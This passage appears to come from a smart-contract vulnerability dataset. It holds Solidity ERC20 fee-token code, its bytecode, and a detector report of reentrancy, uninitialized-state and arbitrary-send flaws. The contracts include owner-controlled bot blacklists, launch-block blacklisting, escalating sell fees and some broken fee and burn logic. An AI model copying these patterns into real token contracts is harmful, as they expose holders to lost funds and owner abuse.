_taxFee = 3;
_burnFee = 2;
_teamFee = 5;
}
function setFee(uint256 multiplier) private {
if (multiplier > 1) {
_taxFee = 6;
_burnFee = 4;
_teamFee = 10;
}
else {
restoreAllFee();
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
//Buy transaction
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxBuyAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
//Sell Transaction
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= _maxSellAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (30 seconds);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (30 seconds);
}
else if (sellnumber[from] > 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (30 seconds);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to] || to == _deadAddress) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading(bool onoff) public onlyOwner {
tradingOpen = onoff;
}
function setSwapEnabled(bool onoff) external onlyOwner(){
swapEnabled = onoff;
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tTeam) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rFee, uint256 rTotalFee) = _getRFees(tFee, tBurn, tTeam, currentRate);
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, rTotalFee, currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
uint256 rBurn = tBurn.mul(currentRate);
_reflectFee(rFee, tFee, rBurn, tBurn);
_burnTokens(rBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee, uint256 rBurn, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee).add(tBurn);
}
function _burnTokens(uint256 rBurn) private {
_deadAddress.transfer(rBurn);
}
receive() external payable {}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(_taxFee).div(100);
uint256 tBurn = tAmount.mul(_burnFee).div(100);
uint256 tTeam = tAmount.mul(_teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn).sub(tTeam);
return (tTransferAmount, tFee, tBurn, tTeam);
}
function _getRValues(uint256 tAmount, uint256 rTotalFee, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTotalFee);
return (rAmount, rTransferAmount);
}
function _getRFees(uint256 tFee, uint256 tBurn, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTotalFee = rFee.add(rBurn).add(rTeam);
return (rFee, rTotalFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}// JavaScript source code
|
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9059cbb1161006f578063a9059cbb14610433578063c3c8cd801461046c578063c93eb86614610481578063dd62ed3e14610496578063e01af92c146104d1578063f2fde38b146104fd57610140565b8063715018a61461038a5780637cca52fe1461039f5780638da5cb5b146103b457806395d89b41146103e5578063a457c2d7146103fa57610140565b806323b872dd116100fd57806323b872dd1461026d5780632a9b8072146102b0578063313ce567146102de57806339509351146103095780636fc3eaec1461034257806370a082311461035757610140565b80630492f0551461014557806306fdde031461016c578063095ea7b3146101f657806313114a9d1461024357806318160ddd1461025857610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a610530565b60408051918252519081900360200190f35b34801561017857600080fd5b50610181610536565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101bb5781810151838201526020016101a3565b50505050905090810190601f1680156101e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020257600080fd5b5061022f6004803603604081101561021957600080fd5b506001600160a01b0381351690602001356105cc565b604080519115158252519081900360200190f35b34801561024f57600080fd5b5061015a6105ea565b34801561026457600080fd5b5061015a6105f0565b34801561027957600080fd5b5061022f6004803603606081101561029057600080fd5b506001600160a01b038135811691602081013590911690604001356105fd565b3480156102bc57600080fd5b506102dc600480360360208110156102d357600080fd5b50351515610684565b005b3480156102ea57600080fd5b506102f36106fa565b6040805160ff9092168252519081900360200190f35b34801561031557600080fd5b5061022f6004803603604081101561032c57600080fd5b506001600160a01b0381351690602001356106ff565b34801561034e57600080fd5b506102dc61074d565b34801561036357600080fd5b5061015a6004803603602081101561037a57600080fd5b50356001600160a01b0316610781565b34801561039657600080fd5b506102dc6107a3565b3480156103ab57600080fd5b5061015a610845565b3480156103c057600080fd5b506103c961084b565b604080516001600160a01b039092168252519081900360200190f35b3480156103f157600080fd5b5061018161085a565b34801561040657600080fd5b5061022f6004803603604081101561041d57600080fd5b506001600160a01b0381351690602001356108bb565b34801561043f57600080fd5b5061022f6004803603604081101561045657600080fd5b506001600160a01b038135169060200135610923565b34801561047857600080fd5b506102dc610937565b34801561048d57600080fd5b506103c9610974565b3480156104a257600080fd5b5061015a600480360360408110156104b957600080fd5b506001600160a01b0381358116916020013516610998565b3480156104dd57600080fd5b506102dc600480360360208110156104f457600080fd5b503515156109c3565b34801561050957600080fd5b506102dc6004803603602081101561052057600080fd5b50356001600160a01b0316610a39565b60165481565b60068054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105c25780601f10610597576101008083540402835291602001916105c2565b820191906000526020600020905b8154815290600101906020018083116105a557829003601f168201915b5050505050905090565b60006105e06105d9610b31565b8484610b35565b5060015b92915050565b60095490565b683635c9adc5dea0000090565b600061060a848484610c21565b61067a84610616610b31565b61067585604051806060016040528060288152602001611cac602891396001600160a01b038a16600090815260036020526040812090610654610b31565b6001600160a01b0316815260208101919091526040016000205491906111e4565b610b35565b5060019392505050565b61068c610b31565b6000546001600160a01b039081169116146106dc576040805162461bcd60e51b81526020600482018190526024820152600080516020611cd4833981519152604482015290519081900360640190fd5b60158054911515600160a01b0260ff60a01b19909216919091179055565b600990565b60006105e061070c610b31565b84610675856003600061071d610b31565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549061127b565b6012546001600160a01b0316610761610b31565b6001600160a01b03161461077457600080fd5b4761077e816112dc565b50565b6001600160a01b0381166000908152600160205260408120546105e490611365565b6107ab610b31565b6000546001600160a01b039081169116146107fb576040805162461bcd60e51b81526020600482018190526024820152600080516020611cd4833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60175481565b6000546001600160a01b031690565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105c25780601f10610597576101008083540402835291602001916105c2565b60006105e06108c8610b31565b8461067585604051806060016040528060258152602001611d6660259139600360006108f2610b31565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906111e4565b60006105e0610930610b31565b8484610c21565b6012546001600160a01b031661094b610b31565b6001600160a01b03161461095e57600080fd5b600061096930610781565b905061077e816113be565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6109cb610b31565b6000546001600160a01b03908116911614610a1b576040805162461bcd60e51b81526020600482018190526024820152600080516020611cd4833981519152604482015290519081900360640190fd5b60158054911515600160b01b0260ff60b01b19909216919091179055565b610a41610b31565b6000546001600160a01b03908116911614610a91576040805162461bcd60e51b81526020600482018190526024820152600080516020611cd4833981519152604482015290519081900360640190fd5b6001600160a01b038116610ad65760405162461bcd60e51b8152600401808060200182810382526026815260200180611c436026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b3390565b6001600160a01b038316610b7a5760405162461bcd60e51b8152600401808060200182810382526024815260200180611d426024913960400191505060405180910390fd5b6001600160a01b038216610bbf5760405162461bcd60e51b8152600401808060200182810382526022815260200180611c696022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610c665760405162461bcd60e51b8152600401808060200182810382526025815260200180611d1d6025913960400191505060405180910390fd5b6001600160a01b038216610cab5760405162461bcd60e51b8152600401808060200182810382526023815260200180611bf66023913960400191505060405180910390fd5b60008111610cea5760405162461bcd60e51b8152600401808060200182810382526029815260200180611cf46029913960400191505060405180910390fd5b610cf261084b565b6001600160a01b0316836001600160a01b031614158015610d2c5750610d1661084b565b6001600160a01b0316826001600160a01b031614155b1561114b57601554600160b81b900460ff1615610e26576001600160a01b0383163014801590610d6557506001600160a01b0382163014155b8015610d7f57506014546001600160a01b03848116911614155b8015610d9957506014546001600160a01b03838116911614155b15610e26576014546001600160a01b0316610db2610b31565b6001600160a01b03161480610de157506015546001600160a01b0316610dd6610b31565b6001600160a01b0316145b610e26576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b6001600160a01b0383166000908152600d602052604090205460ff16158015610e6857506001600160a01b0382166000908152600d602052604090205460ff16155b610e7157600080fd5b6015546001600160a01b038481169116148015610e9c57506014546001600160a01b03838116911614155b8015610ec157506001600160a01b03821660009081526004602052604090205460ff16155b8015610ed65750601554600160b81b900460ff165b15610f4357601554600160a01b900460ff16610ef157600080fd5b601654811115610f0057600080fd5b6001600160a01b0382166000908152600e60205260409020544211610f2457600080fd5b6001600160a01b0382166000908152600e60205260409020601e420190555b6000610f4e30610781565b601554909150600160a81b900460ff16158015610f7957506015546001600160a01b03858116911614155b8015610f8e5750601554600160b01b900460ff165b1561114957601754821115610fa257600080fd5b6001600160a01b0384166000908152600f60205260409020544211610fc657600080fd5b6001600160a01b03841660009081526010602052604090205442620151809091011015611007576001600160a01b0384166000908152601160205260408120555b6001600160a01b038416600090815260116020526040902054611066576001600160a01b038416600090815260116020908152604080832080546001019055601082528083204290819055600f909252909120601e909101905561110c565b6001600160a01b038416600090815260116020526040902054600114156110bb576001600160a01b038416600090815260116020908152604080832080546001019055600f9091529020601e4201905561110c565b6001600160a01b0384166000908152601160205260409020546001101561110c576001600160a01b038416600090815260116020908152604080832080546001019055600f9091529020601e420190555b611115816113be565b47801561112557611125476112dc565b6001600160a01b0385166000908152601160205260409020546111479061158c565b505b505b6001600160a01b03831660009081526004602052604090205460019060ff168061118d57506001600160a01b03831660009081526004602052604090205460ff165b806111c957507f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b0316836001600160a01b0316145b156111d2575060005b6111de848484846115b1565b50505050565b600081848411156112735760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611238578181015183820152602001611220565b50505050905090810190601f1680156112655780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000828201838110156112d5576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6012546001600160a01b03166108fc6112f68360026115e3565b6040518115909202916000818181858888f1935050505015801561131e573d6000803e3d6000fd5b506013546001600160a01b03166108fc6113398360026115e3565b6040518115909202916000818181858888f19350505050158015611361573d6000803e3d6000fd5b5050565b60006008548211156113a85760405162461bcd60e51b815260040180806020018281038252602a815260200180611c19602a913960400191505060405180910390fd5b60006113b2611625565b90506112d583826115e3565b6015805460ff60a81b1916600160a81b179055604080516002808252606080830184529260208301908036833701905050905030816000815181106113ff57fe5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561145357600080fd5b505afa158015611467573d6000803e3d6000fd5b505050506040513d602081101561147d57600080fd5b505181518290600190811061148e57fe5b6001600160a01b0392831660209182029290920101526014546114b49130911684610b35565b60145460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561153a578181015183820152602001611522565b505050509050019650505050505050600060405180830381600087803b15801561156357600080fd5b505af1158015611577573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b60018111156115a9576006600a9081556004600b55600c5561077e565b61077e6115d2565b806115be576115be611648565b6115c9848484611659565b806111de576111de5b6003600a556002600b556005600c55565b60006112d583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611793565b60008060006116326117f8565b909250905061164182826115e3565b9250505090565b6000600a819055600b819055600c55565b60008060008061166885611977565b9350935093509350600061167a611625565b905060008061168b86868686611a05565b9150915060008061169d8a8487611a58565b6001600160a01b038e1660009081526001602052604090205491935091506116c59083611a82565b6001600160a01b03808e1660009081526001602052604080822093909355908d16815220546116f4908261127b565b6001600160a01b038c1660009081526001602052604090205561171686611ac4565b60006117228887611b0e565b9050611730858a838b611b67565b61173981611b9f565b8b6001600160a01b03168d6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8c6040518082815260200191505060405180910390a350505050505050505050505050565b600081836117e25760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611238578181015183820152602001611220565b5060008385816117ee57fe5b0495945050505050565b6008546000908190683635c9adc5dea00000825b6005548110156119375782600160006005848154811061182857fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054118061188d575081600260006005848154811061186657fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156118ab57600854683635c9adc5dea0000094509450505050611973565b6118eb60016000600584815481106118bf57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611a82565b925061192d600260006005848154811061190157fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611a82565b915060010161180c565b5060085461194e90683635c9adc5dea000006115e3565b82101561196d57600854683635c9adc5dea00000935093505050611973565b90925090505b9091565b600080600080600061199f6064611999600a5489611b0e90919063ffffffff16565b906115e3565b905060006119bd6064611999600b548a611b0e90919063ffffffff16565b905060006119db6064611999600c548b611b0e90919063ffffffff16565b905060006119f5826119ef85818d89611a82565b90611a82565b9993985091965094509092505050565b60008080611a138785611b0e565b90506000611a218786611b0e565b90506000611a2f8787611b0e565b90506000611a4782611a41868661127b565b9061127b565b939a93995092975050505050505050565b60008080611a668685611b0e565b90506000611a748287611a82565b919791965090945050505050565b60006112d583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111e4565b6000611ace611625565b90506000611adc8383611b0e565b30600090815260016020526040902054909150611af9908261127b565b30600090815260016020526040902055505050565b600082611b1d575060006105e4565b82820282848281611b2a57fe5b04146112d55760405162461bcd60e51b8152600401808060200182810382526021815260200180611c8b6021913960400191505060405180910390fd5b611b80826119ef86600854611a8290919063ffffffff16565b600855600954611b96908290611a41908661127b565b60095550505050565b6040516001600160a01b037f000000000000000000000000000000000000000000000000000000000000dead169082156108fc029083906000818181858888f19350505050158015611361573d6000803e3d6000fdfe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212208525aedc5697c52a638d0c772414615193e568b4038f0916f36a524146464aff64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,324 |
0x9e019c09b830e12f27f0832aa27580ab6bf076a6
|
// TG: @MEANSIMPSON
// Web: MEANSIMPSON.COM
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract MEANSIMPSON is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 19890000 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "MEANSIMPSON";
string private constant _symbol = "MEANSIMPSON";
uint private constant _decimals = 9;
uint256 private _teamFee = 15;
uint256 private _previousteamFee = _teamFee;
uint256 private _maxTxnAmount = 1;
address payable private _feeAddress;
// Uniswap Pair
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
bool private _txnLimit = false;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _txnLimit) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(_maxTxnAmount).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
uint256 burnCount = contractTokenBalance.div(15);
contractTokenBalance -= burnCount;
_burnToken(burnCount);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _burnToken(uint256 burnCount) private lockTheSwap(){
_transfer(address(this), address(0xdead), burnCount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initNewPair(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function startTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_txnLimit = true;
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function enableTxnLimit(bool onoff) external onlyOwner() {
_txnLimit = onoff;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee < 15,"don't be greedy ");
_teamFee = fee;
}
function setMaxTxn(uint256 max) external onlyOwner(){
require(max>1);
_maxTxnAmount = max;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
